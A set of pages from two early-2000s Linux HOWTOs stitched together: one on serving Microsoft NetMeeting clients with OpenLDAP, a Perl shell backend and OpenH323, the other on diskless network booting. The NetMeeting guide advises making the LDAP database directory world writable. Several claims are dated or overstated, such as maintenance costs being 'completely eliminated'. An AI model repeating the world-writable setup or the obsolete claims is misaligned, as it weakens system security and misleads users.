| on private port |         |script|   | on public port |        |  client    |
|  (i.e, 2345)    |-------> |      |-->|     389        |------->|            |
|                 | reply   --------   |                |  reply --------------
|                 |                    |                |
-------------------                    ------------------

The directory server consists of a 'master' LDAP server to receive requests, a Perl script to correctly interpret the Microsoft NetMeeting requests and, after interrogation of a 'hidden' LDAP server, formats the results in a way that the NetMeeting client can understand. OpenLDAP's 'shell backend' is used to call the Perl script. A custom schema is also required. The script presently handles all of the above problems, with the exception of timing out entries, which it doesn't do.

3.4. Where to get the software

First of all you need to get the OpenLDAP software.

Note

Pre-built OpenLDAP software (i.e, RPMs) won't work unless configured with support for the shell backend.

You can download OpenLDAP from the main site located at ftp://ftp.OpenLDAP.org/pub/OpenLDAP/openldap-release/ or any mirror. I've successfully used OpenLDAP 2.0.7.

The NetMeeting directory kit is available from http://www.freesoft.org/software/NetMeeting/download.

You need Perl 5, available from http://www.perl.org, but already included in all common Linux distributions. You will also need the Net::LDAP module from the Perl CPAN archive, which can be downloaded and installed directly from Perl:

[root@y2k baccala]# perl -MCPAN -e shell

cpan shell -- CPAN exploration and modules installation (v1.58)
ReadLine support enabled

cpan> install Net::LDAP

... much output omitted ...

  /usr/bin/make install -- OK

cpan>

If you've never used CPAN before, you will be prompted first with a series of configuration questions. Once CPAN is configured, the Net::LDAP module will be downloaded, compiled, and installed automatically.

3.5. Installation

Building OpenLDAP will require approximately 60 MB of free disk space. Untar OpenLDAP and configure it.

Note

Be sure to specify the shell backend function "--enable-shell"

I also recommend specifying "--disable-debug" to prevent OpenLDAP from exiting if an assertion fails.

bash$ ./configure --enable-shell --disable-debug

Now build and install it with:

bash$ make

... much output omitted ...

bash# make install

It will normally install under /usr/local:

Table 2. Directories used by OpenLDAP

/usr/local/lib | Shared and static libraries
/usr/local/bin | Client binaries for adding, deleting, and searching LDAP servers
/usr/local/sbin | Utility programs for manipulating the raw database files. Not needed for normal operation.
/usr/local/libexec | Various server programs, including the slapd binary
/usr/local/etc/openldap | Contains the default configuration files
/usr/local/etc/openldap/schema | The different schemas used by the LDAP servers.
/usr/local/var/... | The location of the LDAP databases (in subdirectories)
/usr/local/man/... | Documentation

Once OpenLDAP has been installed, next install the NetMeeting directory kit. Untar ndk.tgz. It contains these files:

Table 3. NetMeeting directory kit files

netmeeting.perl | Perl script used to correct NetMeeting protocol violations
netmeeting.schema | Custom NetMeeting schema used by the LDAP server
core.schema.patch | Patch to LDAP server's core schema
slapd.conf | Sample config file for the master LDAP server
slapd2.conf | Sample config file for the slave LDAP server
initialize | Shell script used once to initialize the slave LDAP database
slapd.rc | /etc/rc.d/ script
nmaddentry | Perl script to add entries to the NetMeeting directory
nmdirectory | Perl/Tk script to query the NetMeeting directory

Copy netmeeting.perl to the /usr/local/libexec directory, netmeeting.schema to the /usr/local/etc/openldap/schema directory, and copy both slapd.conf and slapd2.conf to the /usr/local/etc/openldap directory.

Be sure to use core.schema.patch to patch openldap's core schema in the /usr/local/etc/openldap/schema directory:

bash$ cd /usr/local/etc/openldap/schema
bash$ ls
corba.schema   inetorgperson.schema  misc.schema        nis.schema
core.schema    java.schema           nadf.schema        openldap.schema
cosine.schema  krb5-kdc.schema       netmeeting.schema
bash$ cp core.schema core.schema.bak
bash$ patch core.schema < ~/core.schema.patch

Create the directory /usr/local/var/openldap-netmeeting to store the LDAP database, and make it world writable.

Especially if you're using directories from the samples, edit slapd.conf and slapd2.conf and verify their configuration settings.

You will need to run two copies of slapd. One uses slapd.conf and must be started as root, since it binds to port 389. The -u option can be specified to cause slapd to chown to an unprivileged user after binding the port (a wise precaution). The other slapd uses slapd2.conf, binds to an unprivileged port, and only needs sufficient privilege to write the database directory.

bash# /usr/local/libexec/slapd -f /usr/local/etc/openldap/slapd.conf -u nobody
bash$ /usr/local/libexec/slapd -h ldap://localhost:2345/ -f /usr/local/etc/openldap/slapd2.conf

You now have to initialize the slave database with a single entry. This is only done once, by running the initialize script included in the kit. The "rootdn" and "rootpw" entries are in the slave config file to allow access for the initialization script, and must match the -D and -w options in the script. Once you've initialized the database with a single parent entry, you can comment out the "rootdn" and "rootpw" lines from slapd2.conf, though this is not critical.

The server should now be up and running. For systems with /etc/rc.d/ style initialization scripts (like RedHat), the slapd.rc is provided to automate the starting and stopping of the slapds.

3.6. Server Security

As shown above, I run both slapds as an unprivileged user, minimizing the possibility of compromised security due to a bug in either the server software or the Perl script. Of course, this requires the database directory to be world writable so that the unprivileged slave server can update it. This isn't as glaring a hole as it might first appear, since the NetMeeting clients themselves use no authentication. Thus, even if the database directory were better protected, anyone on a local or remote host could use LDAP client programs to delete or modify any of the database entries.

3.7. LDAP issues with Windows 2000

Recent NetMeeting releases initially attempt to connect to the LDAP directory server on port 1002. As described in a TechNet chat,

Prior to Windows 2000, an ILS server would listen on port 389 for NetMeeting clients. When an ILS server is set up on a Windows 2000 machine, it will default to port 1002.

If a connection to port 1002 is rejected, NetMeeting will fall back on the standard LDAP port 389. However, at least one user has reported trouble with a firewall that blocks port 1002, discards the connection attempts, and thus no replies are received to reject the connection. In this case, NetMeeting takes about a minute to timeout and fall back to port 389. Opening the firewall to port 1002 allowed the rejects through and triggered a rapid fallback.

3.8. Interoperation with other LDAP service

The instructions above assume that your LDAP server is only being used for NetMeeting directory service. Yet what if you want to use a single server for both NetMeeting directory service and other LDAP service? Only one server can be bound to port 389, but OpenLDAP allows multiple database sections to be specified in its configuration file, each serving different parts of the LDAP namespace. NetMeeting uses only the "objectClass=RTPerson" subtree, so as long as you avoid this subtree, you can configure additional database sections to serve other subtrees with other databases. The biggest problem you are likely to encounter is the custom NetMeeting schema, which conflicts slightly with the standard schema. Since the NetMeeting schema is more liberal than the standard schema, I'd suggest commenting out the conflicting parts of the standard schema. NetMeeting clients won't work with the standard schema. See the LDAP RFCs and the OpenLDAP documentation for more information about configuring LDAP servers.

Prev | Home | Next
OpenH323 |  | Using the Software


OpenH323

Linux NETMEETING HOWTO
Prev Next

2. OpenH323

2.1. What is it?

OpenH323 is an open source implementation of the H.323 protocol suite. As such, it can directly interoperate with Microsoft NetMeeting. At the time of this writing (October 2000), OpenH323 is still early in its development cycle; buggy and in flux, but useful.

OpenH323 consists of several C++ libraries and some C++ client programs.

The most useful client programs are:

Table 1. List of client applications

ohphone | H.323 interactive client. Linux equivalent to NetMeeting. Supports audio and video; no shared whiteboard, file transfer, or shared applications
openam | H.323 answering machine. Plays back a recorded message and records incoming audio. No video support at present.
forwarder | Forwards H.323 sessions from one IP address/port to another. Used to serve multiple H.323 destinations from a single IP address.
openmcu | Multipoint Control Unit. Connects multiple sessions together into a conference call.
PSTN Gateway | Allows NetMeeting clients to make phone calls onto the conventional phone system - the Public Switched Telephone Network (PSTN). Requires special hardware.

OpenH323 presently (October 2000) supports audio codecs G.711, G.723.1, LPC-10, and GSM 06.10, as well as video codec H.261.

2.2. Why is it needed?

OpenH323 is needed only if you want to make audio/video connections with NetMeeting clients directly from your Linux system. It is not needed to provide LDAP directory service to NetMeeting clients.

2.3. Where to get it?

The main site is http://www.openh323.org/ and contains links to a download page, mirror sites, mailing lists, and other resources.

OhPhone, OpenAM, and PSTNgw are available as part of the standard distribution, in both source and executable formats. forwarder and openmcu are presently (December 2000) only available from the CVS archive, as modules named "forwarder" and "openmcu".

2.4. Installation

For OhPhone, OpenAM, and PSTNgw, download the executables. If you want to build from source, perhaps because you need forwarder or openmcu, you'll need the source code to the programs, as well as to the pwlib and openh323 libraries. Compilation instructions are available on the openh323 website.

2.5. Gatekeepers

OpenH323 doesn't provide any gatekeepers itself, but several are under construction based on its libraries. As of the end of 2000, most of them are actively under development and quite primitive. I haven't used any of them myself, but you want may to examine the following links:

  • OpenGatekeeper

  • OpenH323 Gatekeeper

  • OpenGatekeeper H323 Proxy

Prev | Home | Next
Introduction |  | NetMeeting directory kit


Using the Software

Linux NETMEETING HOWTO
Prev Next

4. Using the Software

4.1. Direct Connection

You can use OpenH323's ohphone program to connect directly to a NetMeeting client. Specify the -n option to indicate that you're not using a gatekeeper, and either the DNS name or IP address of the NetMeeting client:

bash$ ohphone -n 208.130.48.22

You can also start ohphone to receive incoming calls from NetMeeting clients:

bash$ ohphone -n

See the ohphone documentation for more information on its additional features, including video conferencing, codec selection, and auto-answer.

4.2. Directory Operation

Make sure you have an LDAP server running the NetMeeting directory kit, as described above.

On the NetMeeting client, select the Tools -> Options menu item to display a configuration dialog. Under the "General" (NetMeeting 3) or "Calling" (NetMeeting 2) tab, there will be a section for "Directory Settings". Here you can enter the IP address or DNS name of the server. The client will then attach to the server and register itself either automatically, if the "Log on to directory server when NetMeeting starts" checkbox is selected. You can also log on to the directory server manually, by selecting Call -> Log on .

If the user selects Call -> Directory , a directory window will be displayed showing all users registered on the LDAP server. Double-clicking on one of the names will initiate a connection to that user.

Querying the NetMeeting LDAP server from Linux can be done, but is tricky because the client's IP address is stored in decimal, and I don't mean dotted decimal. For example, the IP address 63.216.69.197 is stored as 3309688895. Here's some Perl code to convert back and forth from the NetMeeting IP address format:

# Convert $addr (IP address or DNS name) to a NetMeeting decimal IP address

use Socket;
$bytestring = inet_aton($addr);
if (defined $bytestring) {
    ($sipaddress) = unpack('V', $bytestring);
} else {
    die "Can't resolve $addr\n";
}

# Convert $sipaddress (from a NetMeeting LDAP server) into dotted decimal form

$packedipaddr = pack 'V', $sipaddress;
$ipaddress = join '.', unpack('C4',$packedipaddr);

Included with the NetMeeting directory kit is nmdirectory, a simple Perl/Tk script to query a NetMeeting LDAP server and display the clients registered with it. It's very primitive, and doesn't work well with large databases, but provides a rudimentary example of how to interpret search results from a NetMeeting LDAP server.

4.3. Linking From A Web Page

Microsoft Internet Explorer understands URLs with a "callto:" scheme that specify NetMeeting destinations in one of two forms. When a link with a "callto:" URL is selected, Internet Explorer runs NetMeeting and directs it to connect to the specified destination.

The first URL form, "callto:destination", where 'destination' is either an IP address or a DNS name, causes NetMeeting to open an H.323 connection to port 1720 on 'destination'. Use this form to connect directly to another NetMeeting or OpenH323 client.

The second URL form, "callto:server/alias", causes a directory lookup on LDAP server 'server', searching for a CN attribute of 'alias'. Assuming a match is found, a connection is made to the IP address specified in the entry's sipAddress attribute. NetMeeting clients, by default, register their user's E-mail addresses in the CN attribute. Use this form to perform a directory lookup based on E-mail address.

4.4. Permanent Directory Entries

NetMeeting clients aren't the only source of LDAP directory entries. In particular, permanent directory entries can be manually inserted into the LDAP server using the OpenLDAP client tools. Assuming the attributes are specified properly, these entries will then appear in NetMeeting directory listings and can be used as targets in "callto:" URLs. This is useful when working with OpenH323 clients that don't register themselves by default with the LDAP server.

To simply creating directory entries, the nmaddentry script is included in the NetMeeting directory kit. Run it without arguments for a usage message. For example, if you've started ohphone on "y2k.freesoft.org", you can register it with the LDAP server on "ils.freesoft.org" using alias "baccala@freesoft.org" like this:

bash$ nmaddentry -h ils.freesoft.org baccala@freesoft.org y2k.freesoft.org
Successfully added cn=baccala@freesoft.org, objectclass=rtperson
bash$

This entry will now appear in NetMeeting directory listings and can be addressed as "ils.freesoft.org/baccala@freesoft.org". The entry will automatically timeout after 30 minutes. The -p switch creates a permanent directory listing that won't time out, but this only works on OpenLDAP servers using the NetMeeting directory kit. To remove a permanent entry, use the ldapdelete program included with the OpenLDAP distribution, specifying the LDAP Distinguished Name returned by nmaddentry:

bash$ ldapdelete -h ils.freesoft.org 'cn=baccala@freesoft.org,objectclass=rtperson'
bash$

4.5. Serving Multiple Aliases

The attributes registered by a NetMeeting client include 'sport', the TCP port number it listens on for incoming H.323 requests, but since this attribute is never retrieved in search requests, it isn't as useful as it first appears. In fact, NetMeeting always opens H.323 connections to the default port (1720), which raises the question of how to serve multiple aliases from a single IP address.

The key to doing this is the forwarder program, included in the OpenH323 CVS archive. forwarder listens for connections on port 1720, and can be configured to redirect them based on the alias being called. This allows calls for each alias to be sent to a unique port number, where a program like ohphone or openam is listening.

To use aliases, an LDAP directory is required, with an entry for each alias. Each alias entry should specify a 'cn' attribute with the alias name, and a 'sipAddress' attribute with the IP address of the host where forwarder is listening.

I've successfully configured a single host to act as a combination LDAP server (on port 389), forwarder (on port 1720), and ohphone and openam clients on various private port numbers and remote systems.

4.6. Using the Answering Machine

The OpenH323 answering machine, openam, will listen for incoming H.323 connections, play a pre-recorded message, and then record any audio sent to it into a file. It can optionally be configured to run another program at the end of the call, to email the recorded audio, perhaps.

It's usefulness is currently (December 2000) limited by the lack of a gatekeeper program clever enough to redirect calls to it if there's no answer at the main address. Thus, it will only act as an answering machine if the ohphone program is running at the main address, and has been configured to redirect calls to another address, using the --forward-no-answer and --forward-busy options.

4.7. Conference Calls

The openmcu program, in the OpenH323 CVS archive, implements an H.323 Multipoint Control Unit (MCU). Multiple NetMeeting or ohphone clients can connect to the MCU and form a conference call. As of December 2000, the quality and reliability of the connection is problematic, but hopefully this will improve.

4.8. Routing Calls Through NAT

Special support is required on a NAT (IP Masquerade) router to allow H.323 traffic to pass through. If the NAT router is running Linux, two masquerading modules are available:

  • http://www.coritel.it/coritel/ip/sofia/nat/nat2/nat2.htm

  • http://netmeetingmasq.sourceforge.net/

Note

I have not tested either of these modules.

4.9. Custom Configurations

The server capabilities can be customized by modifying the 'netmeeting.perl' script. For example, calls for stale entries could be redirected to an "forwarder" configured to hand off to "openam" answering machines. Thus, calls to a unavailable user would be answered and recorded for later playback.

As OpenH323's development continues, it's expected that these techniques will become more sophisticated, for example by ringing the user first and only forwarding to an answering machine if there's no answer after a given time. Such functionality would most likely be placed in a gatekeeper.

Prev | Home | Next
NetMeeting directory kit |  | Debugging


Non-Volatile Memory chips

Network Boot and Exotic Root HOWTO
Prev Next

A. Non-Volatile Memory chips

Here is a brief descriptions of memory chips and their types:

  • PROM: Pronounced prom, an acronym for programmable read-only memory. A PROM is a memory chip on which data can be written only once. Once a program has been written onto a PROM, it remains there forever. Unlike RAM, PROMs retain their contents when the computer is turned off. The difference between a PROM and a ROM (read-only memory) is that a PROM is manufactured as blank memory, whereas a ROM is programmed during the manufacturing process. To write data onto a PROM chip, you need a special device called a PROM programmer or PROM burner. The process of programming a PROM is sometimes called burning the PROM. An EPROM (erasable programmable read-only memory) is a special type of PROM that can be erased by exposing it to ultraviolet light. Once it is erased, it can be reprogrammed. An EEPROM is similar to a PROM, but requires only electricity to be erased.

  • EPROM: Acronym for erasable programmable read-only memory, and pronounced e-prom, EPROM is a special type of memory that retains its contents until it is exposed to ultraviolet light. The ultraviolet light clears its contents, making it possible to reprogram the memory. To write to and erase an EPROM, you need a special device called a PROM programmer or PROM burner. An EPROM differs from a PROM in that a PROM can be written to only once and cannot be erased. EPROMs are used widely in personal computers because they enable the manufacturer to change the contents of the PROM before the computer is actually shipped. This means that bugs can be removed and new versions installed shortly before delivery. A note on EPROM technology: The bits of an EPROM are programmed by injecting electrons with an elevated voltage into the floating gate of a field-effect transistor where a 0 bit is desired. The electrons trapped there cause that transistor to conduct, reading as 0. To erase the EPROM, the trapped electrons are given enough energy to escape the floating gate by bombarding the chip with ultraviolet radiation through the quartz window. To prevent slow erasure over a period of years from sunlight and fluorescent lights, this quartz window is covered with an opaque label in normal use.

  • EEPROM: Acronym for electrically erasable programmable read-only memory. Pronounced double-e-prom or e-e-prom, an EEPROM is a special type of PROM that can be erased by exposing it to an electrical charge. Like other types of PROM, EEPROM retains its contents even when the power is turned off. Also like other types of ROM, EEPROM is not as fast as RAM. EEPROM is similar to flash memory (sometimes called flash EEPROM). The principal difference is that EEPROM requires data to be written or erased one byte at a time whereas flash memory allows data to be written or erased in blocks. This makes flash memory faster.

  • FRAM: Short for Ferroelectric Random Access Memory, a type of non-volatile memory developed by Ramtron International Corporation. FRAM combines the access speed of DRAM and SRAM with the non-volatility of ROM. Because of its high speed, it is replacing EEPROM in many devices. The term FRAM itself is a trademark of Ramtron.

  • NVRAM: Abbreviation of Non-Volatile Random Access Memory, a type of memory that retains its contents when power is turned off. One type of NVRAM is SRAM that is made non-volatile by connecting it to a constant power source such as a battery. Another type of NVRAM uses EEPROM chips to save its contents when power is turned off. In this case, NVRAM is composed of a combination of SRAM and EEPROM chips.

  • Bubble Memory: A type of non-volatile memory composed of a thin layer of material that can be easily magnetized in only one direction. When a magnetic field is applied to circular area of this substance that is not magnetized in the same direction, the area is reduced to a smaller circle, or bubble. It was once widely believed that bubble memory would become one of the leading memory technologies, but these promises have not been fulfilled. Other non-volatile memory types, such as EEPROM, are both faster and less expensive than bubble memory.

  • Flash Memory: A special type of EEPROM that can be erased and reprogrammed in blocks instead of one byte at a time. Many modern PCs have their BIOS stored on a flash memory chip so that it can easily be updated if necessary. Such a BIOS is sometimes called a flash BIOS. Flash memory is also popular in modems because it enables the modem manufacturer to support new protocols as they become standardized.

Prev | Home | Next
Troubleshooting, tips, tricks, and useful links |  | Determining the size and speed of EPROMs to plug in a NIC


Determining the size and speed of EPROMs to plug in a NIC

Network Boot and Exotic Root HOWTO
Prev Next

B. Determining the size and speed of EPROMs to plug in a NIC

This section comes from the etherboot project's documentation version 5.0. It provides tips to determine the size and speed of EPROMs to use with a particular NIC

The smallest EPROM that is accepted by network cards is an 8k EPROM (2764). 16 kB (27128) or 32 kB (27256) are the norm. Some cards will even go up to 64 kB EPROMs (27512). (You will often see a C after the 27, e.g. 27C256. This indicates a CMOS EPROM, which is equivalent to the non-C version and is a good thing because of lower power consumption.) You want to use the smallest EPROM you can so that you don't take up more of the upper memory area than needed as other extensions BIOSes may need the space. However you also want to get a good price for the EPROM. Currently the 32 kB and 64 kB EPROMs (27256 and 27512) seem to be the cheapest per unit. Smaller EPROMs appear to be more expensive because they are out of mainstream production.

If you cannot find out from the documentation what capacity of EPROM your card takes, for ISA NICs only, you could do it by trial and error. (PCI NICs do not enable the EPROM until the BIOS tells the NIC to.) Take a ROM with some data on it (say a character generator ROM) and plug it into the socket. Be careful not to use an extension BIOS for this test because it may be detected and activated and prevent you from booting your computer. Using the debug program under DOS, dump various regions of the memory space. Say you discover that you can see the data in a memory window from CC00:0 to CC00:3FFF (= 4000 hex = 16384 decimal locations). This indicates that a 16 kB EPROM is needed. However if you see an alias in parts of the memory space, say the region from CC00:0 to CC00:1FFF is duplicated in CC00:2000 to CC00:3FFF, then you have put an 8 kB EPROM into a 16 kB slot and you need to try a larger EPROM.

Note that because pinouts for 28 pin EPROMs are upward compatible after a fashion, you can probably use a larger capacity EPROM in a slot intended for a smaller one. The higher address lines will probably be held high so you will need to program the image in the upper half or upper quarter of the larger EPROM, as the case may be. However you should double check the voltages on the pins armed with data sheet and a meter because CMOS EPROMs don't like floating pins.

If the ROM is larger than the size of the image, for example, a 32 kB ROM containing a 16 kB image, then you can put the image in either half of the ROM. You will sometimes see advice to put two copies of the image in the ROM. This will work but is not recommended because the ROM will be activated twice if it's a legacy ROM and may not work at all if it's a PCI/PnP ROM. It is tolerated by Etherboot because the code checks to see if it's been activated already and the second activation will do nothing. The recommended method is to fill the unused half with blank data. All ones data is recommended because it is the natural state of the EPROM and involves less work for the PROM programmer. Here is a Unix command line that will generate 16384 bytes of 0xFF and combine it with a 16 kB ROM into a 32 kB image for your PROM programmer.
      # (perl -e 'print "\xFF" x 16384'; cat bin32/3c509.lzrom) > 32kbimage

The speed of the EPROM needed depends on how it is connected to the computer bus. If the EPROM is directly connected to the computer bus, as in the case of many cheap NE2000 clones, then you will probably have to get an EPROM that is at least as fast as the ROMs used for the main BIOS. This is typically 120-150 ns. Some network cards mediate access to the EPROM via circuitry and this may insert wait states so that slower EPROMs can be used. Incidentally the slowness of the EPROM doesn't affect Etherboot execution speed much because Etherboot copies itself to RAM before executing. I'm told Netboot does the same thing.

If you have your own EPROM programming hardware, there is a nice collection of EPROM file format conversion utilities at http://www.canb.auug.org.au/~millerp/srecord.html. The files produced by the Etherboot build process are plain binary. A simple binary to Intel hex format converter can be found at the Etherboot web site at http://etherboot.sourceforge.net/bin2intelhex.c.

Etherboot is believed to make PnP compliant ROMs for PCI NICs. A long-standing bug in the headers has been tracked down. However some faulty old BIOSes are out there so I have written a Perl script swapdevids.pl to switch the header around if necessary. You'll have to experiment with it both ways to find out which works. Or you could dump a ROM image that works (e.g. RPL, PXE ROM) using the Perl script disrom.pl. The fields to look at are Device (base, sub, interface) Type. It should be 02 00 00, but some BIOSes want 00 00 02 due to ambiguity in the original specification.

Prev | Home | Next
Non-Volatile Memory chips |  | Companies selling diskless computers


Companies selling diskless computers

Network Boot and Exotic Root HOWTO
Prev Next

C. Companies selling diskless computers

The original Diskless-HOWTO mentions the names of the following vendors of diskless computers:

  • Linux Systems Labs Inc., USA http://www.lsl.com. Click on "Shop On-line" and then click on "HardWare" where all the diskless computers will be listed. Phone 1-888-LINUX-88.

  • Diskless Workstations Corporation, USA http://www.disklessworkstations.com.

  • Unique Systems of Holland Inc., Ohio, USA http://www.uniqsys.com

Prev | Home | Next
Determining the size and speed of EPROMs to plug in a NIC |  | References


References

[Diskless-HOWTO] Diskless-HOWTO.

http://www.linuxdoc.org/HOWTO/Diskless-HOWTO.html

[Diskless-root-NFS-HOWTO] Diskless-root-NFS-HOWTO.

http://www.linuxdoc.org/HOWTO/Diskless-root-NFS-HOWTO.html

[ltsp] Linux Terminal Server Project.

http://www.ltsp.org

[logilab] Logilab.org web site.

http://www.logilab.org

[PowerUp2Bash] From-PowerUp-to-bash-prompt-HOWTO.

http://www.linuxdoc.org/HOWTO/From-PowerUp-to-bash-prompt-HOWTO.html

[ThinClient] Thin-Client-HOWTO.

http://www.linuxdoc.org/HOWTO/Thin-Client-HOWTO.html

[cdwriting] CD-Writing-HOWTO.

http://www.linuxdoc.org/HOWTO/CD-Writing-HOWTO.html

[etb] etherboot project.

http://etherboot.sourceforge.net/

[vmware] VMWare.

http://www.vmware.com

[freemware] FreeMWare.

http://www.freemware.org

Prev | Home
Companies selling diskless computers |


Network Boot and Exotic Root HOWTO

Brieuc Jeunhomme

Logilab S.A.

Revision History
Revision 0.2.2 | 2001-12-08 | Revised by: dcm
Licensed GFDL
Revision 0.2.1 | 2001-05-21 | Revised by: logilab
Fixed bibliography and artheader
Revision 0.2 | 2001-05-19 | Revised by: bej
Many improvements and included Ken Yap's feedback.
Revision 0.1.1 | 2001-04-09 | Revised by: logilab
First public draft.
Revision 0.1 | 2000-12-09 | Revised by: bej
Initial draft.

This document explains how to quickly setup a linux server to provide what diskless linux clients require to get up and running, using an IP network. It includes data and partly rewritten text from the Diskless-HOWTO, the Diskless-root-NFS-HOWTO, the linux kernel documentation, the etherboot project's documentation, the linux terminal server project's homepage, and the author's personal experience, acquired when working for Logilab. Eventually this document may end up deprecating the Diskless-HOWTO and Diskless-root-NFS-HOWTO. Please note that you'll also find useful information in the From-PowerUp-to-bash-prompt-HOWTO and the Thin-Client-HOWTO, and the Claus-Justus Heine's page about NFS swapping.

Table of Contents
1. Introduction
1.1. What is this all about?
1.2. Thanks
1.3. Diskless booting advocacy
1.4. Requirements
1.5. Acknowledgements and related documentation
1.6. Feedback
1.7. Copyright Information
2. Diskless booting operation overview
2.1. Obtaining IP parameters
2.2. Loading the kernel
2.3. Mounting the root filesystem
2.4. Terminating the boot process
3. Building the kernel
3.1. When the root filesystem is on a ramdisk
4. Daemons setup
4.1. NFS daemon
4.2. BOOTP daemon
4.3. TFTP
5. Clients setup, creation of the root filesystem
5.1. Creating the first files and directories
5.2. The /var and /etc directories
5.3. Last details
5.4. Trial...
5.5. And Error!
6. Several ways of obtaining the bootloader's code
6.1. BOOTP or DHCP capable NICs
6.2. Local floppy or hard drive
6.3. Creating ROMs for the clients
6.4. Local CDROM
7. How to create diskless MS-Windows stations?
8. Troubleshooting, tips, tricks, and useful links
8.1. The netboot distribution
8.2. Reducing diskless workstations'memory usage
8.3. Swapping over NFS
8.4. Swapping over network block devices
8.5. Getting rid of error messages about /etc/mtab or unmounted directories on shutdown
8.6. Installing new packages on workstations
A. Non-Volatile Memory chips
B. Determining the size and speed of EPROMs to plug in a NIC
C. Companies selling diskless computers
References
Next
Introduction


Introduction

Network Boot and Exotic Root HOWTO
Prev Next

1. Introduction

1.1. What is this all about?

Recent linux kernels offer the possibility to boot a linux box entirely from network, by loading its kernel and root filesystem from a server. In that case, the client may use several ways to get the first instructions it has to execute when booting: home made eproms, special network cards implementing the RARP, BOOTP or DHCP protocols, cdroms, or bootloaders loaded from a boot floppy or a local hard drive.

1.2. Thanks

Logilab sponsored this HOWTO. Check their website for new versions of this document. I also thank the etherboot and linux terminal server project developers and webmasters, who made it really possible to boot a Linux worstation over a network.

Very special thanks go to Ken Yap, member of the etherboot project, whose comments greatly helped to improve the quality of this document.

1.3. Diskless booting advocacy

1.3.1. Buying is cheaper than building

Sometimes, buying a diskless linux computer will be cheaper than building! Checkout the list of commercial sites given in appendix, which are selling diskless linux network cards and diskless computers. These companies do mass production of linux diskless computers selling millions of units and thereby reducing the cost per unit.

1.3.2. Advantages of diskless computers

Diskless computers will become more and more popular in the next years. They will be very successful because of the availability of very high-speed network cards at very low prices. Today 100 Megabit per second (12.5 MB per sec transfer rate) network cards are common and in about 1 to 2 years 1000 MBit (125 MB per sec transfer rate) network cards will become very cheap and will be the standard.

In near future, monitor manufacturers will place the CPU, NIC, RAM right inside the monitor to form a diskless computer. This eliminates the diskless computer box and saves space. The monitor will have outlet for mouse, keyboard, network RJ45 and power supply.

The following are benefits of using diskless computers:

  • Total cost of ownership is very low in case of diskless computers. Total cost of ownership is cost of initial purchasing + cost of maintenance. The cost of maintenance is usually 3 to 5 times the cost of initial computer purchase and this cost is recurring year after year. In case of diskless computers, the cost of maintenance is completely eliminated.

  • All the backups are centralized at one single main server.

  • No need of UPS battery, air-conditioning, dust proof environment for diskless clients, only server needs UPS battery, A/C and dust proof environment.

  • A better protection from virus attack - Some computer virus cannot attack diskless computers as they do not have any hard disk. This kind of virus cannot do any damage to diskless computers. Only one single server box needs to be protected against virus attack. This saves millions of dollars for the company by avoiding installation of vaccines and cleaning the hard disks.

  • Servers can have large powerful/high performance hard disks, can optimize the usage of disk space via sharing by many diskless computer users. Fault tolerance of hard disk failure is possible by using RAID on main server.

  • On some installations: sharing of central server RAM memory by many diskless computer users. For example, if many users are running a web browser remotely on a server, then there will be only one copy of this web browser in its RAM.

  • Very few system administrators required to maintain central server.

  • Zero administration at diskless client side. Diskless computers are absolutely maintenance free and troublefree.

  • Long life of diskless clients.

  • Eliminates install/upgrade of hardware, software on diskless client side.

  • Eliminates cost of cdrom, floppy, tape drive, modem, UPS battery, printer parallel ports, serial ports etc...

  • Can operate in places like factory floor where a hard disk might be too fragile.

1.4. Requirements

1.4.1. Hardware requirements

The most important thing in order to boot from network is to have an equipment which enables the stations to execute a bootloader, which will get the kernel on the server and launch it. Another solution is to use a device which will load a local kernel, which will mount the root filesystem on the server. There are several solutions: home made eproms containing the first instructions to execute when booting the station, boot with BOOTP/DHCP capable network adapters, or a local floppy, a tiny hard drive, or a cdrom to load the kernel. Note that some vendors also sell network booting capable stations: for instance, some Sun stations implement the BOOTP protocol.

Other hardware requirements depend on the configuration you plan to use: on some sites, every application run by the stations is executed remotely on the server, this implies that a very high-performance server is required, but only light stations are required: depending on what they will have to do, 80486 CPUs with 16 MB of RAM may be enough. On the other side, if application programs are really executed locally on the stations, the requirements for the stations depend completely on these applications. In that case, only a small server is required. A 80486 CPU with 32 MB of RAM will be sufficient for a small number of stations, but more memory will be necessary in very large installations with hundreds or thousands of machines. Note the server's CPU does not really matter for such an installation.

1.4.2. Software requirements

Linux kernel version 2.0 or above sources are required. All tools required to build a linux kernel are also necessary (see the linux kernel documentation for more information on this).

A BOOTP daemon (a DHCP daemon may also do fine, but I won't explain how to configure this), a NFS daemon (if you want to mount the root filesystem on a remote server), are also required. We will also need a TFTP daemon if you plan to load the kernel remotely. At last, the mknbi utility provided with the etherboot distribution, and, if you use LanWorks EPROMs, like those included in the 3c905 3com ethernet adapter, you will also need the imggen utility, available at ftp://www.ltsp.org/pub/download/lts/contrib.

1.5. Acknowledgements and related documentation

This documentation has been written for experimented system administrators, who are already aware of linux fundamentals, like the use of grep, sed, and awk, basic shell programming, the init process and the boot scripts, kernel compilation, and NFS server configuration. Experience of kernel arguments passing should also help. Information on these subjects can be found respectively in the grep, sed, awk, and bash man/info pages, in the Bootdisk-HOWTO, the From-PowerUp-To-Bash-Prompt-HOWTO, the Kernel-HOWTO, the BootPrompt-HOWTO, the bootparam man page, the rdev man page, the NFS-HOWTO, and the exports manual page.

There are many sources of information on network booting, but, and this is why I wrote this HOWTO, none describes all the existing ways of booting over a network, and much of them are specific to a way of operating. The most useful to me has been the documentation provided by the linux terminal server project, although I did not use the packages they recommend, and I have chosen to describe here how to proceed without these packages, because they configure things so that every application program is executed remotely on a server. Useful information can also be found on the etherboot project's homepage.

At last, you can also find useful but succinct information in the kernel's source tree, in /usr/src/linux/Documentation, assuming your kernel source tree resides in /usr/src/linux.

1.6. Feedback

I will highly appreciate any feedback about this document. Please feel free to mail me at <bbp@via.ecp.fr> if you have any comment, correction, or suggestion. You may also use <contact@logilab.fr>.

1.7. Copyright Information

This document is copyrighted (c) 2001 and is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.

Prev | Home | Next
Network Boot and Exotic Root HOWTO |  | Diskless booting operation overview


Diskless booting operation overview

Network Boot and Exotic Root HOWTO
Prev Next

2. Diskless booting operation overview

Hey, you think it's time to start with the real stuff, right? Here we go.

2.1. Obtaining IP parameters

One could wonder how a station may boot over an IP network if it doesn't even know its own IP address. In fact, three protocols enable the client to obtain this information and some additional configuration parameters:

